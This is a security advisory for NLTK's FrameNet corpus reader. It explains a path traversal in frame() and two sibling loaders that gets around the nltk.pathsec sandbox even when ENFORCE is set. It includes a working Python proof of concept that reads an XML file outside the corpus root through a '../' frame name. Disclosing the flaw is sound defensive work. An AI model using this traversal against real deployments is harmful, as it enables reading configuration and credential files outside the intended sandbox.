Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
--- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = Trueimport nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'\n'
"SECRET-OUT-OF-ROOT-CONTENT\n"
"\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of /frame/ up to /private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.